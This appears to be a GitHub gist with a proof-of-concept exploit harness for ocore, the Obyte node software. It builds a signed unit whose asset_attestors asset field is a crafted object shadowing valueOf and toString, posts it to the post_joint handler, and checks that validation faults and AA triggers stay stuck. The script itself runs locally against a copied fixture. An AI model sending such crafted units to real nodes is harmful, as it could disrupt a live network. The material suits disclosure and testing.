conf.explicitStart = true;
conf.port = null;
conf.bLight = false;
conf.bServeAsHub = false;
conf.bWantNewPeers = false;
conf.max_fee_ratio = 1_000_000_000;
const signature = require(corePath("signature.js"));
const originalVerify = signature.verify;
let signatureVerifications = 0;
signature.verify = function(...args) {
const valid = originalVerify.apply(this, args);
signatureVerifications++;
console.log("AK1_CHILD_SIGNATURE", JSON.stringify({ count: signatureVerifications, valid }));
return valid;
};
const constants = require(corePath("constants.js"));
const objectHash = require(corePath("object_hash.js"));
const objectLength = require(corePath("object_length.js"));
const stringUtils = require(corePath("string_utils.js"));
const db = require(corePath("db.js"));
const kvstore = require(corePath("kvstore.js"));
const storage = require(corePath("storage.js"));
const composer = require(corePath("composer.js"));
const validation = require(corePath("validation.js"));
await storage.initCaches();
await db.query("INSERT OR IGNORE INTO peer_hosts (peer_host) VALUES(?)", [PEER_HOST]);
constants.bDevnet = false;
const network = require(corePath("network.js"));
let joint;
if (childMode === "replay") {
joint = JSON.parse(fs.readFileSync(jointFile, "utf8"));
}
else {
const signer = makeSigner({ constants, objectHash, signature });
const realNow = Date.now;
Date.now = () => 1_700_000_000_000;
try {
joint = await composeJoint({ constants, objectHash, signature, composer }, signer, childMode === "affected");
}
finally {
Date.now = realNow;
}
if (childMode === "affected")
fs.writeFileSync(jointFile, JSON.stringify(joint), { encoding: "utf8", mode: 0o600 });
}
const targetMessage = joint.unit.messages.find(message => message.app === "asset_attestors");
invariant(targetMessage, "composed joint has no asset_attestors message");
invariant(objectHash.getUnitHash(joint.unit) === joint.unit.unit, "unit hash mismatch");
invariant(validation.hasValidHashes(joint), "joint/payload hashes invalid");
invariant(objectLength.getTotalPayloadSize(joint.unit) === joint.unit.payload_commission, "payload commission mismatch");
invariant(stringUtils.isObjectWellFormed(joint), "joint is not well formed");
invariant(!stringUtils.isTooDeeplyNestedOrHasTooManyNodes(joint), "joint exceeds structure limits");
invariant(joint.unit.messages.some(message => message.app === "payment"), "base payment is missing");
const asset = targetMessage.payload.asset;
if (childMode === "control") {
invariant(typeof asset === "string" && asset.length === constants.HASH_LENGTH, "control asset is not a hash-length string");
}
else {
invariant(asset && typeof asset === "object" && !Array.isArray(asset), "affected asset is not a plain object");
invariant(Object.getPrototypeOf(asset) === Object.prototype, "affected asset has a custom prototype");
invariant(Object.hasOwn(asset, "valueOf") && asset.valueOf === 0, "valueOf shadow was not preserved");
invariant(Object.hasOwn(asset, "toString") && asset.toString === 0, "toString shadow was not preserved");
const cloned = stringUtils.cloneDeep(asset);
invariant(cloned.valueOf === 0 && cloned.toString === 0, "stock JSON clone changed the affected asset");
}
console.log("AK1_CHILD_READY", JSON.stringify({
mode: childMode,
unit: joint.unit.unit,
payload_hash: targetMessage.payload_hash,
joint_json_bytes: Buffer.byteLength(JSON.stringify(joint)),
headers_commission: joint.unit.headers_commission,
payload_commission: joint.unit.payload_commission,
base_payment: true,
asset_kind: typeof asset,
}));
process.on("uncaughtExceptionMonitor", error => {
console.error("AK1_CHILD_UNCAUGHT", JSON.stringify({
mode: childMode,
signature_verifications: signatureVerifications,
name: error.name,
message: error.message,
stack: error.stack,
}));
});
const frame = await postJoint(network, joint, childMode);
console.log("AK1_CHILD_NORMAL", JSON.stringify({
mode: childMode,
signature_verifications: signatureVerifications,
frame,
}));
await closeCore(kvstore, db);
}
if (childMode) {
childMain().then(() => process.exit(0)).catch(error => {
console.error("AK1_CHILD_HARNESS_ERROR", error.stack || error);
process.exit(1);
});
}
else {
parentMain().catch(error => {
console.error("AK1_HARNESS_ERROR", error.stack || error);
process.exit(1);
});
}
#!/usr/bin/env bash
# AK1: asset_attestors property-key conversion before asset validation.
# The proof uses a copied stock fixture and the source-unmodified post_joint
# handler. It opens no listener and contacts no Obyte peer.
set -euo pipefail
umask 077
NODE18="$(find "$HOME/.nvm/versions/node" -maxdepth 1 -type d -name 'v18*' -print 2>/dev/null | sort -V | tail -1 || true)"
[ -n "$NODE18" ] && export PATH="$NODE18/bin:$PATH"
[ "$(node -p 'process.versions.node.split(".")[0]')" = "18" ] || {
echo "Node.js 18 LTS is required"
exit 2
}
SELF_DIR="$(cd "$(dirname "$0")" && pwd)"
HEADLESS_DIR="${HEADLESS_DIR:-$(pwd)}"
OCORE_DIR="${OCORE_DIR:-$HEADLESS_DIR/node_modules/ocore}"
for file in ak1-test.js ak1-aa-replay.js; do
[ -f "$SELF_DIR/$file" ] || { echo "missing $SELF_DIR/$file"; exit 2; }
done
[ -f "$OCORE_DIR/package.json" ] || {
echo "ocore is not installed at $OCORE_DIR"
echo "run this script from a headless-obyte checkout, or set OCORE_DIR"
exit 2
}
[ -f "$OCORE_DIR/test/initial-testdata-aa_composer.test.js/byteball.sqlite" ] || {
echo "the stock AA-composer fixture is missing from $OCORE_DIR"
exit 2
}
export HEADLESS_DIR OCORE_DIR
SUITE_DIR="$(mktemp -d "${TMPDIR:-/tmp}/poc-ak1-suite.XXXXXX")"
cleanup() {
if [ "${KEEP_TMP:-0}" = "1" ]; then
echo "AK1 suite logs retained at $SUITE_DIR"
else
rm -rf "$SUITE_DIR"
fi
}
trap cleanup EXIT INT TERM
echo "=== AK1 primary: signed post_joint A/B and explicit replay ==="
node "$SELF_DIR/ak1-test.js" | tee "$SUITE_DIR/primary.log"
echo
echo "=== AK1 supplemental: committed AA-trigger consumer and fresh-process replay ==="
node "$SELF_DIR/ak1-aa-replay.js" | tee "$SUITE_DIR/supplemental.log"
node - "$SUITE_DIR/primary.log" "$SUITE_DIR/supplemental.log" <<'NODE'
"use strict";
const fs = require("fs");
function readMarker(file, prefix) {
const line = fs.readFileSync(file, "utf8").split(/\r?\n/).find(item => item.startsWith(prefix + " "));
if (!line) throw new Error(`missing ${prefix} in ${file}`);
return JSON.parse(line.slice(prefix.length + 1));
}
const primary = process.argv[2];
const supplemental = process.argv[3];
const a = readMarker(primary, "AK1_CONTROL_RESULT");
const b1 = readMarker(primary, "AK1_AFFECTED_RESULT");
const b2 = readMarker(primary, "AK1_REPLAY_RESULT");
const state = readMarker(primary, "AK1_STATE_RESULT");
const aa = readMarker(supplemental, "AK1_AA_AFFECTED_RESULT");
const aaControl = readMarker(supplemental, "AK1_AA_CONTROL_RESULT");
const rule = "=".repeat(78);
console.log("");
console.log(rule);
console.log("AK1 COMPLETE SUITE — FINAL COMPARISON");
console.log(rule);
console.log("");
console.log("PRIMARY SIGNED-UNIT VALIDATION");
console.log(` A string asset -> exit ${a.status}, signature ${a.signature_verifications}, ordinary validation error`);
console.log(` B1 object asset -> exit ${b1.status}, signature ${b1.signature_verifications}, ${b1.first_fault}`);
console.log(` B2 fresh replay -> exit ${b2.status}, signature ${b2.signature_verifications}, ${b2.first_fault}`);
console.log(` persisted target rows -> units ${state.after_replay.unit_rows}, known-bad ${state.after_replay.known_bad_rows}, DB invalid events ${state.after_replay.database_invalid_peer_events}`);
console.log(` source quarantine -> ${state.after_replay.source_quarantine_contains_host ? "recorded in file" : "MISSING"}`);
console.log("");
console.log("SUPPLEMENTAL COMMITTED-TRIGGER CONSUMER");
console.log(` A string result -> exit ${aaControl.status}, trigger consumed (${aaControl.after.triggers.length} remaining)`);
console.log(` B1 object result -> exit ${aa.first.status}, trigger retained (${aa.after_first.triggers.length})`);
console.log(` B2 fresh consumer -> exit ${aa.replay.status}, same trigger retained (${aa.after_replay.triggers.length})`);
console.log(` escaped state -> balances ${aa.after_replay.balances.length}, responses ${aa.after_replay.responses.length}`);
console.log("");
console.log(" ✓ Primary A/B passed");
console.log(" ✓ Real-signature ordering passed");
console.log(" ✓ Byte-identical explicit replay passed");
console.log(" ✓ Committed-trigger rollback/restart component passed");
console.log("");
console.log("AK1 COMPLETE SUITE PASSED");
console.log(rule);
NODE
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment